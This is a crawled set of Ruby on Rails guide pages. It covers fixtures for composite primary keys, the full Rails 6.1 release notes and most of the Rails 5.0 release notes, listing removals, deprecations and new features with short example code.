Fixtures for composite primary key tables are fairly similar to normal tables. When using an id column, the column may be omitted as usual:

```
class Book < ApplicationRecord
  self.primary_key = [:author_id, :id]
  belongs_to :author
end
```

```
# books.yml
alices_adventure_in_wonderland:
  author_id: <%= ActiveRecord::FixtureSet.identify(:lewis_carroll) %>
  title: "Alice's Adventures in Wonderland"
```

However, in order to support composite primary key relationships, you must use the `composite_identify` method:

```
class BookOrder < ApplicationRecord
  self.primary_key = [:shop_id, :id]
  belongs_to :order, foreign_key: [:shop_id, :order_id]
  belongs_to :book, foreign_key: [:author_id, :book_id]
end
```

```
# book_orders.yml
alices_adventure_in_wonderland_in_books:
  author: lewis_carroll
  book_id: <%= ActiveRecord::FixtureSet.composite_identify(
              :alices_adventure_in_wonderland, Book.primary_key)[:id] %>
  shop: book_store
  order_id: <%= ActiveRecord::FixtureSet.composite_identify(
              :books, Order.primary_key)[:id] %>
```

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/6_1_release_notes.html
----

***

## [1. Upgrading to Rails 6.1](#upgrading-to-rails-6-1)

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 6.0 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 6.1. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-6-0-to-rails-6-1) guide.

## [2. Major Features](#major-features)

### [2.1. Per-database Connection Switching](#per-database-connection-switching)

Rails 6.1 provides you with the ability to [switch connections per-database](https://github.com/rails/rails/pull/40370). In 6.0 if you switched to the `reading` role then all database connections also switched to the reading role. Now in 6.1 if you set `legacy_connection_handling` to `false` in your configuration, Rails will allow you to switch connections for a single database by calling `connected_to` on the corresponding abstract class.

### [2.2. Horizontal Sharding](#horizontal-sharding)

Rails 6.0 provided the ability to functionally partition (multiple partitions, different schemas) your database but wasn't able to support horizontal sharding (same schema, multiple partitions). Rails wasn't able to support horizontal sharding because models in Active Record could only have one connection per-role per-class. This is now fixed and [horizontal sharding](https://github.com/rails/rails/pull/38531) with Rails is available.

### [2.3. Strict Loading Associations](#strict-loading-associations)

[Strict loading associations](https://github.com/rails/rails/pull/37400) allows you to ensure that all your associations are loaded eagerly and stop N+1's before they happen.

### [2.4. Delegated Types](#delegated-types)

[Delegated Types](https://github.com/rails/rails/pull/39341) is an alternative to single-table inheritance. This helps represent class hierarchies allowing the superclass to be a concrete class that is represented by its own table. Each subclass has its own table for additional attributes.

### [2.5. Destroy Associations Async](#destroy-associations-async)

[Destroy associations async](https://github.com/rails/rails/pull/40157) adds the ability for applications to `destroy` associations in a background job. This can help you avoid timeouts and other performance issues in your application when destroying data.

## [3. Railties](#railties)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-1-stable/railties/CHANGELOG.md) for detailed changes.

### [3.1. Removals](#railties-removals)

* Remove deprecated `rake notes` tasks.

* Remove deprecated `connection` option in the `rails dbconsole` command.

* Remove deprecated `SOURCE_ANNOTATION_DIRECTORIES` environment variable support from `rails notes`.

* Remove deprecated `server` argument from the rails server command.

* Remove deprecated support for using the `HOST` environment variable to specify the server IP.

* Remove deprecated `rake dev:cache` tasks.

* Remove deprecated `rake routes` tasks.

* Remove deprecated `rake initializers` tasks.

### [3.2. Deprecations](#railties-deprecations)

### [3.3. Notable changes](#railties-notable-changes)

## [4. Action Cable](#action-cable)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-1-stable/actioncable/CHANGELOG.md) for detailed changes.

### [4.1. Removals](#action-cable-removals)

### [4.2. Deprecations](#action-cable-deprecations)

### [4.3. Notable changes](#action-cable-notable-changes)

## [5. Action Pack](#action-pack)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-1-stable/actionpack/CHANGELOG.md) for detailed changes.

### [5.1. Removals](#action-pack-removals)

* Remove deprecated `ActionDispatch::Http::ParameterFilter`.

* Remove deprecated `force_ssl` at the controller level.

### [5.2. Deprecations](#action-pack-deprecations)

* Deprecate `config.action_dispatch.return_only_media_type_on_content_type`.

### [5.3. Notable changes](#action-pack-notable-changes)

* Change `ActionDispatch::Response#content_type` to return the full Content-Type header.

## [6. Action View](#action-view)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-1-stable/actionview/CHANGELOG.md) for detailed changes.

### [6.1. Removals](#action-view-removals)

* Remove deprecated `escape_whitelist` from `ActionView::Template::Handlers::ERB`.

* Remove deprecated `find_all_anywhere` from `ActionView::Resolver`.

* Remove deprecated `formats` from `ActionView::Template::HTML`.

* Remove deprecated `formats` from `ActionView::Template::RawFile`.

* Remove deprecated `formats` from `ActionView::Template::Text`.

* Remove deprecated `find_file` from `ActionView::PathSet`.

* Remove deprecated `rendered_format` from `ActionView::LookupContext`.

* Remove deprecated `find_file` from `ActionView::ViewPaths`.

* Remove deprecated support to pass an object that is not a `ActionView::LookupContext` as the first argument in `ActionView::Base#initialize`.

* Remove deprecated `format` argument `ActionView::Base#initialize`.

* Remove deprecated `ActionView::Template#refresh`.

* Remove deprecated `ActionView::Template#original_encoding`.

* Remove deprecated `ActionView::Template#variants`.

* Remove deprecated `ActionView::Template#formats`.

* Remove deprecated `ActionView::Template#virtual_path=`.

* Remove deprecated `ActionView::Template#updated_at`.

* Remove deprecated `updated_at` argument required on `ActionView::Template#initialize`.

* Remove deprecated `ActionView::Template.finalize_compiled_template_methods`.

* Remove deprecated `config.action_view.finalize_compiled_template_methods`

* Remove deprecated support to calling `ActionView::ViewPaths#with_fallback` with a block.

* Remove deprecated support to passing absolute paths to `render template:`.

* Remove deprecated support to passing relative paths to `render file:`.

* Remove support to template handlers that don't accept two arguments.

* Remove deprecated pattern argument in `ActionView::Template::PathResolver`.

* Remove deprecated support to call private methods from object in some view helpers.

### [6.2. Deprecations](#action-view-deprecations)

### [6.3. Notable changes](#action-view-notable-changes)

* Require that `ActionView::Base` subclasses implement `#compiled_method_container`.

* Make `locals` argument required on `ActionView::Template#initialize`.

* The `javascript_include_tag` and `stylesheet_link_tag` asset helpers generate a `link` header that gives hints to modern browsers about preloading assets. This can be disabled by setting `config.action_view.preload_links_header` to `false`.

## [7. Action Mailer](#action-mailer)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-1-stable/actionmailer/CHANGELOG.md) for detailed changes.

### [7.1. Removals](#action-mailer-removals)

* Remove deprecated `ActionMailer::Base.receive` in favor of [Action Mailbox](https://github.com/rails/rails/tree/6-1-stable/actionmailbox).

### [7.2. Deprecations](#action-mailer-deprecations)

### [7.3. Notable changes](#action-mailer-notable-changes)

## [8. Active Record](#active-record)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-1-stable/activerecord/CHANGELOG.md) for detailed changes.

### [8.1. Removals](#active-record-removals)

* Remove deprecated methods from `ActiveRecord::ConnectionAdapters::DatabaseLimits`.

  `column_name_length` `table_name_length` `columns_per_table` `indexes_per_table` `columns_per_multicolumn_index` `sql_query_length` `joins_per_query`

* Remove deprecated `ActiveRecord::ConnectionAdapters::AbstractAdapter#supports_multi_insert?`.

* Remove deprecated `ActiveRecord::ConnectionAdapters::AbstractAdapter#supports_foreign_keys_in_create?`.

* Remove deprecated `ActiveRecord::ConnectionAdapters::PostgreSQLAdapter#supports_ranges?`.

* Remove deprecated `ActiveRecord::Base#update_attributes` and `ActiveRecord::Base#update_attributes!`.

* Remove deprecated `migrations_path` argument in `ActiveRecord::ConnectionAdapter::SchemaStatements#assume_migrated_upto_version`.

* Remove deprecated `config.active_record.sqlite3.represent_boolean_as_integer`.

* Remove deprecated methods from `ActiveRecord::DatabaseConfigurations`.

  `fetch` `each` `first` `values` `[]=`

* Remove deprecated `ActiveRecord::Result#to_hash` method.

* Remove deprecated support for using unsafe raw SQL in `ActiveRecord::Relation` methods.

### [8.2. Deprecations](#active-record-deprecations)

* Deprecate `ActiveRecord::Base.allow_unsafe_raw_sql`.

* Deprecate `database` kwarg on `connected_to`.

* Deprecate `connection_handlers` when `legacy_connection_handling` is set to false.

### [8.3. Notable changes](#active-record-notable-changes)

* MySQL: Uniqueness validator now respects default database collation, no longer enforce case-sensitive comparison by default.

* `relation.create` does no longer leak scope to class-level querying methods in initialization block and callbacks.

  Before:

  ```
  User.where(name: "John").create do |john|
    User.find_by(name: "David") # => nil
  end
  ```

  After:

  ```
  User.where(name: "John").create do |john|
    User.find_by(name: "David") # => #<User name: "David", ...>
  end
  ```

* Named scope chain does no longer leak scope to class-level querying methods.

  ```
  class User < ActiveRecord::Base
    scope :david, -> { User.where(name: "David") }
  end
  ```

  Before:

  ```
  User.where(name: "John").david
  # SELECT * FROM users WHERE name = 'John' AND name = 'David'
  ```

  After:

  ```
  User.where(name: "John").david
  # SELECT * FROM users WHERE name = 'David'
  ```

* `where.not` now generates NAND predicates instead of NOR.

  Before:

  ```
  User.where.not(name: "Jon", role: "admin")
  # SELECT * FROM users WHERE name != 'Jon' AND role != 'admin'
  ```

  After:

  ```
  User.where.not(name: "Jon", role: "admin")
  # SELECT * FROM users WHERE NOT (name = 'Jon' AND role = 'admin')
  ```

* To use the new per-database connection handling applications must change `legacy_connection_handling` to false and remove deprecated accessors on `connection_handlers`. Public methods for `connects_to` and `connected_to` require no changes.

## [9. Active Storage](#active-storage)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-1-stable/activestorage/CHANGELOG.md) for detailed changes.

### [9.1. Removals](#active-storage-removals)

* Remove deprecated support to pass `:combine_options` operations to `ActiveStorage::Transformers::ImageProcessing`.

* Remove deprecated `ActiveStorage::Transformers::MiniMagickTransformer`.

* Remove deprecated `config.active_storage.queue`.

* Remove deprecated `ActiveStorage::Downloading`.

### [9.2. Deprecations](#active-storage-deprecations)

* Deprecate `Blob.create_after_upload` in favor of `Blob.create_and_upload`. ([Pull Request](https://github.com/rails/rails/pull/34827))

### [9.3. Notable changes](#active-storage-notable-changes)

* Add `Blob.create_and_upload` to create a new blob and upload the given `io` to the service. ([Pull Request](https://github.com/rails/rails/pull/34827))
* `ActiveStorage::Blob#service_name` column was added. It is required that a migration is run after the upgrade. Run `bin/rails app:update` to generate that migration.

## [10. Active Model](#active-model)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-1-stable/activemodel/CHANGELOG.md) for detailed changes.

### [10.1. Removals](#active-model-removals)

### [10.2. Deprecations](#active-model-deprecations)

### [10.3. Notable changes](#active-model-notable-changes)

* Active Model's errors are now objects with an interface that allows your application to more easily handle and interact with errors thrown by models. [The feature](https://github.com/rails/rails/pull/32313) includes a query interface, enables more precise testing, and access to error details.

## [11. Active Support](#active-support)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-1-stable/activesupport/CHANGELOG.md) for detailed changes.

### [11.1. Removals](#active-support-removals)

* Remove deprecated fallback to `I18n.default_locale` when `config.i18n.fallbacks` is empty.

* Remove deprecated `LoggerSilence` constant.

* Remove deprecated `ActiveSupport::LoggerThreadSafeLevel#after_initialize`.

* Remove deprecated `Module#parent_name`, `Module#parent` and `Module#parents`.

* Remove deprecated file `active_support/core_ext/module/reachable`.

* Remove deprecated file `active_support/core_ext/numeric/inquiry`.

* Remove deprecated file `active_support/core_ext/array/prepend_and_append`.

* Remove deprecated file `active_support/core_ext/hash/compact`.

* Remove deprecated file `active_support/core_ext/hash/transform_values`.

* Remove deprecated file `active_support/core_ext/range/include_range`.

* Remove deprecated `ActiveSupport::Multibyte::Chars#consumes?` and `ActiveSupport::Multibyte::Chars#normalize`.

* Remove deprecated `ActiveSupport::Multibyte::Unicode.pack_graphemes`, `ActiveSupport::Multibyte::Unicode.unpack_graphemes`, `ActiveSupport::Multibyte::Unicode.normalize`, `ActiveSupport::Multibyte::Unicode.downcase`, `ActiveSupport::Multibyte::Unicode.upcase` and `ActiveSupport::Multibyte::Unicode.swapcase`.

* Remove deprecated `ActiveSupport::Notifications::Instrumenter#end=`.

### [11.2. Deprecations](#active-support-deprecations)

* Deprecate `ActiveSupport::Multibyte::Unicode.default_normalization_form`.

### [11.3. Notable changes](#active-support-notable-changes)

## [12. Active Job](#active-job)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-1-stable/activejob/CHANGELOG.md) for detailed changes.

### [12.1. Removals](#active-job-removals)

### [12.2. Deprecations](#active-job-deprecations)

* Deprecate `config.active_job.return_false_on_aborted_enqueue`.

### [12.3. Notable changes](#active-job-notable-changes)

* Return `false` when enqueuing a job is aborted.

## [13. Action Text](#action-text)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-1-stable/actiontext/CHANGELOG.md) for detailed changes.

### [13.1. Removals](#action-text-removals)

### [13.2. Deprecations](#action-text-deprecations)

### [13.3. Notable changes](#action-text-notable-changes)

* Add method to confirm rich text content existence by adding `?` after name of the rich text attribute. ([Pull Request](https://github.com/rails/rails/pull/37951))

* Add `fill_in_rich_text_area` system test case helper to find a trix editor and fill it with given HTML content. ([Pull Request](https://github.com/rails/rails/pull/35885))

* Add `ActionText::FixtureSet.attachment` to generate `<action-text-attachment>` elements in database fixtures. ([Pull Request](https://github.com/rails/rails/pull/40289))

## [14. Action Mailbox](#action-mailbox)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-1-stable/actionmailbox/CHANGELOG.md) for detailed changes.

### [14.1. Removals](#action-mailbox-removals)

### [14.2. Deprecations](#action-mailbox-deprecations)

* Deprecate `Rails.application.credentials.action_mailbox.api_key` and `MAILGUN_INGRESS_API_KEY` in favor of `Rails.application.credentials.action_mailbox.signing_key` and `MAILGUN_INGRESS_SIGNING_KEY`.

### [14.3. Notable changes](#action-mailbox-notable-changes)

## [15. Ruby on Rails Guides](#ruby-on-rails-guides)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-1-stable/guides/CHANGELOG.md) for detailed changes.

### [15.1. Notable changes](#notable-changes)

## [16. Credits](#credits)

See the [full list of contributors to Rails](https://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/5_0_release_notes.html
----

***

## [1. Upgrading to Rails 5.0](#upgrading-to-rails-5-0)

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 4.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 5.0. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-2-to-rails-5-0) guide.

## [2. Major Features](#major-features)

### [2.1. Action Cable](#action-cable)

Action Cable is a new framework in Rails 5. It seamlessly integrates [WebSockets](https://en.wikipedia.org/wiki/WebSocket) with the rest of your Rails application.

Action Cable allows for real-time features to be written in Ruby in the same style and form as the rest of your Rails application, while still being performant and scalable. It's a full-stack offering that provides both a client-side JavaScript framework and a server-side Ruby framework. You have access to your full domain model written with Active Record or your ORM of choice.

See the [Action Cable Overview](action_cable_overview.html) guide for more information.

### [2.2. API Applications](#api-applications)

Rails can now be used to create slimmed down API only applications. This is useful for creating and serving APIs similar to [X](https://developer.x.com) or [GitHub](https://developer.github.com) API, that can be used to serve public-facing, as well as, for custom applications.

You can generate a new api Rails app using:

```
$ rails new my_api --api
```

This will do three main things:

* Configure your application to start with a more limited set of middleware than normal. Specifically, it will not include any middleware primarily useful for browser applications (like cookies support) by default.
* Make `ApplicationController` inherit from `ActionController::API` instead of `ActionController::Base`. As with middleware, this will leave out any Action Controller modules that provide functionalities primarily used by browser applications.
* Configure the generators to skip generating views, helpers, and assets when you generate a new resource.

The application provides a base for APIs, that can then be [configured to pull in functionality](api_app.html) as suitable for the application's needs.

See the [Using Rails for API-only Applications](api_app.html) guide for more information.

### [2.3. Active Record attributes API](#active-record-attributes-api)

Defines an attribute with a type on a model. It will override the type of existing attributes if needed. This allows control over how values are converted to and from SQL when assigned to a model. It also changes the behavior of values passed to `ActiveRecord::Base.where`, which let's use our domain objects across much of Active Record, without having to rely on implementation details or monkey patching.

Some things that you can achieve with this:

* The type detected by Active Record can be overridden.
* A default can also be provided.
* Attributes do not need to be backed by a database column.

```
# db/schema.rb
create_table :store_listings, force: true do |t|
  t.decimal :price_in_cents
  t.string :my_string, default: "original default"
end
```

```
# app/models/store_listing.rb
class StoreListing < ActiveRecord::Base
end
```

```
store_listing = StoreListing.new(price_in_cents: '10.1')

# before
store_listing.price_in_cents # => BigDecimal.new(10.1)
StoreListing.new.my_string # => "original default"

class StoreListing < ActiveRecord::Base
  attribute :price_in_cents, :integer # custom type
  attribute :my_string, :string, default: "new default" # default value
  attribute :my_default_proc, :datetime, default: -> { Time.now } # default value
  attribute :field_without_db_column, :integer, array: true
end

# after
store_listing.price_in_cents # => 10
StoreListing.new.my_string # => "new default"
StoreListing.new.my_default_proc # => 2015-05-30 11:04:48 -0600
model = StoreListing.new(field_without_db_column: ["1", "2", "3"])
model.attributes # => {field_without_db_column: [1, 2, 3]}
```

**Creating Custom Types:**

You can define your own custom types, as long as they respond to the methods defined on the value type. The method `deserialize` or `cast` will be called on your type object, with raw input from the database or from your controllers. This is useful, for example, when doing custom conversion, like Money data.

**Querying:**

When `ActiveRecord::Base.where` is called, it will use the type defined by the model class to convert the value to SQL, calling `serialize` on your type object.

This gives the objects ability to specify, how to convert values when performing SQL queries.

**Dirty Tracking:**

The type of an attribute is allowed to change how dirty tracking is performed.

See its [documentation](https://api.rubyonrails.org/v5.0.1/classes/ActiveRecord/Attributes/ClassMethods.html) for a detailed write up.

### [2.4. Test Runner](#test-runner)

A new test runner has been introduced to enhance the capabilities of running tests from Rails. To use this test runner simply type `bin/rails test`.

Test Runner is inspired by `RSpec`, `minitest-reporters`, `maxitest` and others. It includes some of these notable advancements:

* Run a single test using line number of test.
* Run multiple tests pinpointing to line number of tests.
* Improved failure messages, which also add ease of re-running failed tests.
* Fail fast using `-f` option, to stop tests immediately on occurrence of failure, instead of waiting for the suite to complete.
* Defer test output until the end of a full test run using the `-d` option.
* Complete exception backtrace output using `-b` option.
* Integration with minitest to allow options like `-s` for test seed data, `-n` for running specific test by name, `-v` for better verbose output and so forth.
* Colored test output.

## [3. Railties](#railties)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-0-stable/railties/CHANGELOG.md) for detailed changes.

### [3.1. Removals](#railties-removals)

* Removed debugger support, use byebug instead. `debugger` is not supported by Ruby 2.2. ([commit](https://github.com/rails/rails/commit/93559da4826546d07014f8cfa399b64b4a143127))

* Removed deprecated `test:all` and `test:all:db` tasks. ([commit](https://github.com/rails/rails/commit/f663132eef0e5d96bf2a58cec9f7c856db20be7c))

* Removed deprecated `Rails::Rack::LogTailer`. ([commit](https://github.com/rails/rails/commit/c564dcb75c191ab3d21cc6f920998b0d6fbca623))

* Removed deprecated `RAILS_CACHE` constant. ([commit](https://github.com/rails/rails/commit/b7f856ce488ef8f6bf4c12bb549f462cb7671c08))

* Removed deprecated `serve_static_assets` configuration. ([commit](https://github.com/rails/rails/commit/463b5d7581ee16bfaddf34ca349b7d1b5878097c))

* Removed the documentation tasks `doc:app`, `doc:rails`, and `doc:guides`. ([commit](https://github.com/rails/rails/commit/cd7cc5254b090ccbb84dcee4408a5acede25ef2a))

* Removed `Rack::ContentLength` middleware from the default stack. ([Commit](https://github.com/rails/rails/commit/56903585a099ab67a7acfaaef0a02db8fe80c450))

### [3.2. Deprecations](#railties-deprecations)

* Deprecated `config.static_cache_control` in favor of `config.public_file_server.headers`. ([Pull Request](https://github.com/rails/rails/pull/19135))

* Deprecated `config.serve_static_files` in favor of `config.public_file_server.enabled`. ([Pull Request](https://github.com/rails/rails/pull/22173))

* Deprecated the tasks in the `rails` task namespace in favor of the `app` namespace. (e.g. `rails:update` and `rails:template` tasks are renamed to `app:update` and `app:template`.) ([Pull Request](https://github.com/rails/rails/pull/23439))

### [3.3. Notable changes](#railties-notable-changes)

* Added Rails test runner `bin/rails test`. ([Pull Request](https://github.com/rails/rails/pull/19216))

* Newly generated applications and plugins get a `README.md` in Markdown. ([commit](https://github.com/rails/rails/commit/89a12c931b1f00b90e74afffcdc2fc21f14ca663), [Pull Request](https://github.com/rails/rails/pull/22068))

* Added `bin/rails restart` task to restart your Rails app by touching `tmp/restart.txt`. ([Pull Request](https://github.com/rails/rails/pull/18965))

* Added `bin/rails initializers` task to print out all defined initializers in the order they are invoked by Rails. ([Pull Request](https://github.com/rails/rails/pull/19323))

* Added `bin/rails dev:cache` to enable or disable caching in development mode. ([Pull Request](https://github.com/rails/rails/pull/20961))

* Added `bin/update` script to update the development environment automatically. ([Pull Request](https://github.com/rails/rails/pull/20972))

* Proxy Rake tasks through `bin/rails`. ([Pull Request](https://github.com/rails/rails/pull/22457), [Pull Request](https://github.com/rails/rails/pull/22288))

* New applications are generated with the evented file system monitor enabled on Linux and macOS. The feature can be opted out by passing `--skip-listen` to the generator. ([commit](https://github.com/rails/rails/commit/de6ad5665d2679944a9ee9407826ba88395a1003), [commit](https://github.com/rails/rails/commit/94dbc48887bf39c241ee2ce1741ee680d773f202))

* Generate applications with an option to log to STDOUT in production using the environment variable `RAILS_LOG_TO_STDOUT`. ([Pull Request](https://github.com/rails/rails/pull/23734))

* Enable HSTS with IncludeSubdomains header for new applications. ([Pull Request](https://github.com/rails/rails/pull/23852))

* The application generator writes a new file `config/spring.rb`, which tells Spring to watch additional common files. ([commit](https://github.com/rails/rails/commit/b04d07337fd7bc17e88500e9d6bcd361885a45f8))

* Added `--skip-action-mailer` to skip Action Mailer while generating new app. ([Pull Request](https://github.com/rails/rails/pull/18288))

* Removed `tmp/sessions` directory and the clear rake task associated with it. ([Pull Request](https://github.com/rails/rails/pull/18314))

* Changed `_form.html.erb` generated by scaffold generator to use local variables. ([Pull Request](https://github.com/rails/rails/pull/13434))

* Disabled autoloading of classes in production environment. ([commit](https://github.com/rails/rails/commit/a71350cae0082193ad8c66d65ab62e8bb0b7853b))

## [4. Action Pack](#action-pack)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-0-stable/actionpack/CHANGELOG.md) for detailed changes.

### [4.1. Removals](#action-pack-removals)

* Removed `ActionDispatch::Request::Utils.deep_munge`. ([commit](https://github.com/rails/rails/commit/52cf1a71b393486435fab4386a8663b146608996))

* Removed `ActionController::HideActions`. ([Pull Request](https://github.com/rails/rails/pull/18371))

* Removed `respond_to` and `respond_with` placeholder methods, this functionality has been extracted to the [responders](https://github.com/plataformatec/responders) gem. ([commit](https://github.com/rails/rails/commit/afd5e9a7ff0072e482b0b0e8e238d21b070b6280))

* Removed deprecated assertion files. ([commit](https://github.com/rails/rails/commit/92e27d30d8112962ee068f7b14aa7b10daf0c976))

* Removed deprecated usage of string keys in URL helpers. ([commit](https://github.com/rails/rails/commit/34e380764edede47f7ebe0c7671d6f9c9dc7e809))

* Removed deprecated `only_path` option on `*_path` helpers. ([commit](https://github.com/rails/rails/commit/e4e1fd7ade47771067177254cb133564a3422b8a))

* Removed deprecated `NamedRouteCollection#helpers`. ([commit](https://github.com/rails/rails/commit/2cc91c37bc2e32b7a04b2d782fb8f4a69a14503f))

* Removed deprecated support to define routes with `:to` option that doesn't contain `#`. ([commit](https://github.com/rails/rails/commit/1f3b0a8609c00278b9a10076040ac9c90a9cc4a6))

* Removed deprecated `ActionDispatch::Response#to_ary`. ([commit](https://github.com/rails/rails/commit/4b19d5b7bcdf4f11bd1e2e9ed2149a958e338c01))

* Removed deprecated `ActionDispatch::Request#deep_munge`. ([commit](https://github.com/rails/rails/commit/7676659633057dacd97b8da66e0d9119809b343e))

* Removed deprecated `ActionDispatch::Http::Parameters#symbolized_path_parameters`. ([commit](https://github.com/rails/rails/commit/7fe7973cd8bd119b724d72c5f617cf94c18edf9e))

* Removed deprecated option `use_route` in controller tests. ([commit](https://github.com/rails/rails/commit/e4cfd353a47369dd32198b0e67b8cbb2f9a1c548))

* Removed `assigns` and `assert_template`. Both methods have been extracted into the [rails-controller-testing](https://github.com/rails/rails-controller-testing) gem. ([Pull Request](https://github.com/rails/rails/pull/20138))

### [4.2. Deprecations](#action-pack-deprecations)

* Deprecated all `*_filter` callbacks in favor of `*_action` callbacks. ([Pull Request](https://github.com/rails/rails/pull/18410))

* Deprecated `*_via_redirect` integration test methods. Use `follow_redirect!` manually after the request call for the same behavior. ([Pull Request](https://github.com/rails/rails/pull/18693))

* Deprecated `AbstractController#skip_action_callback` in favor of individual skip\_callback methods. ([Pull Request](https://github.com/rails/rails/pull/19060))

* Deprecated `:nothing` option for `render` method. ([Pull Request](https://github.com/rails/rails/pull/20336))

* Deprecated passing first parameter as `Hash` and default status code for `head` method. ([Pull Request](https://github.com/rails/rails/pull/20407))

* Deprecated using strings or symbols for middleware class names. Use class names instead. ([commit](https://github.com/rails/rails/commit/83b767ce))

* Deprecated accessing MIME types via constants (e.g. `Mime::HTML`). Use the subscript operator with a symbol instead (e.g. `Mime[:html]`). ([Pull Request](https://github.com/rails/rails/pull/21869))

* Deprecated `redirect_to :back` in favor of `redirect_back`, which accepts a required `fallback_location` argument, thus eliminating the possibility of a `RedirectBackError`. ([Pull Request](https://github.com/rails/rails/pull/22506))

* `ActionDispatch::IntegrationTest` and `ActionController::TestCase` deprecate positional arguments in favor of keyword arguments. ([Pull Request](https://github.com/rails/rails/pull/18323))

* Deprecated `:controller` and `:action` path parameters. ([Pull Request](https://github.com/rails/rails/pull/23980))

* Deprecated env method on controller instances. ([commit](https://github.com/rails/rails/commit/05934d24aff62d66fc62621aa38dae6456e276be))

* `ActionDispatch::ParamsParser` is deprecated and was removed from the middleware stack. To configure the parameter parsers use `ActionDispatch::Request.parameter_parsers=`. ([commit](https://github.com/rails/rails/commit/38d2bf5fd1f3e014f2397898d371c339baa627b1), [commit](https://github.com/rails/rails/commit/5ed38014811d4ce6d6f957510b9153938370173b))

### [4.3. Notable changes](#action-pack-notable-changes)

* Added `ActionController::Renderer` to render arbitrary templates outside controller actions. ([Pull Request](https://github.com/rails/rails/pull/18546))

* Migrating to keyword arguments syntax in `ActionController::TestCase` and `ActionDispatch::Integration` HTTP request methods. ([Pull Request](https://github.com/rails/rails/pull/18323))

* Added `http_cache_forever` to Action Controller, so we can cache a response that never gets expired. ([Pull Request](https://github.com/rails/rails/pull/18394))

* Provide friendlier access to request variants. ([Pull Request](https://github.com/rails/rails/pull/18939))

* For actions with no corresponding templates, render `head :no_content` instead of raising an error. ([Pull Request](https://github.com/rails/rails/pull/19377))

* Added the ability to override default form builder for a controller. ([Pull Request](https://github.com/rails/rails/pull/19736))

* Added support for API-only apps. `ActionController::API` is added as a replacement of `ActionController::Base` for this kind of applications. ([Pull Request](https://github.com/rails/rails/pull/19832))

* Make `ActionController::Parameters` no longer inherits from `HashWithIndifferentAccess`. ([Pull Request](https://github.com/rails/rails/pull/20868))

* Make it easier to opt in to `config.force_ssl` and `config.ssl_options` by making them less dangerous to try and easier to disable. ([Pull Request](https://github.com/rails/rails/pull/21520))

* Added the ability of returning arbitrary headers to `ActionDispatch::Static`. ([Pull Request](https://github.com/rails/rails/pull/19135))

* Changed the `protect_from_forgery` prepend default to `false`. ([commit](https://github.com/rails/rails/commit/39794037817703575c35a75f1961b01b83791191))

* `ActionController::TestCase` will be moved to its own gem in Rails 5.1. Use `ActionDispatch::IntegrationTest` instead. ([commit](https://github.com/rails/rails/commit/4414c5d1795e815b102571425974a8b1d46d932d))

* Rails generates weak ETags by default. ([Pull Request](https://github.com/rails/rails/pull/17573))

* Controller actions without an explicit `render` call and with no corresponding templates will render `head :no_content` implicitly instead of raising an error. (Pull Request [1](https://github.com/rails/rails/pull/19377), [2](https://github.com/rails/rails/pull/23827))

* Added an option for per-form CSRF tokens. ([Pull Request](https://github.com/rails/rails/pull/22275))

* Added request encoding and response parsing to integration tests. ([Pull Request](https://github.com/rails/rails/pull/21671))

* Add `ActionController#helpers` to get access to the view context at the controller level. ([Pull Request](https://github.com/rails/rails/pull/24866))

* Discarded flash messages get removed before storing into session. ([Pull Request](https://github.com/rails/rails/pull/18721))

* Added support for passing collection of records to `fresh_when` and `stale?`. ([Pull Request](https://github.com/rails/rails/pull/18374))

* `ActionController::Live` became an `ActiveSupport::Concern`. That means it can't be just included in other modules without extending them with `ActiveSupport::Concern` or `ActionController::Live` won't take effect in production. Some people may be using another module to include some special `Warden`/`Devise` authentication failure handling code as well since the middleware can't catch a `:warden` thrown by a spawned thread which is the case when using `ActionController::Live`. ([More details in this issue](https://github.com/rails/rails/issues/25581))

* Introduce `Response#strong_etag=` and `#weak_etag=` and analogous options for `fresh_when` and `stale?`. ([Pull Request](https://github.com/rails/rails/pull/24387))

## [5. Action View](#action-view)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-0-stable/actionview/CHANGELOG.md) for detailed changes.

### [5.1. Removals](#action-view-removals)

* Removed deprecated `AbstractController::Base::parent_prefixes`. ([commit](https://github.com/rails/rails/commit/34bcbcf35701ca44be559ff391535c0dd865c333))

* Removed `ActionView::Helpers::RecordTagHelper`, this functionality has been extracted to the [record\_tag\_helper](https://github.com/rails/record_tag_helper) gem. ([Pull Request](https://github.com/rails/rails/pull/18411))

* Removed `:rescue_format` option for `translate` helper since it's no longer supported by I18n. ([Pull Request](https://github.com/rails/rails/pull/20019))

### [5.2. Notable Changes](#action-view-notable-changes)

* Changed the default template handler from `ERB` to `Raw`. ([commit](https://github.com/rails/rails/commit/4be859f0fdf7b3059a28d03c279f03f5938efc80))

* Collection rendering can cache and fetches multiple partials at once. ([Pull Request](https://github.com/rails/rails/pull/18948), [commit](https://github.com/rails/rails/commit/e93f0f0f133717f9b06b1eaefd3442bd0ff43985))

* Added wildcard matching to explicit dependencies. ([Pull Request](https://github.com/rails/rails/pull/20904))

* Make `disable_with` the default behavior for submit tags. Disables the button on submit to prevent double submits. ([Pull Request](https://github.com/rails/rails/pull/21135))

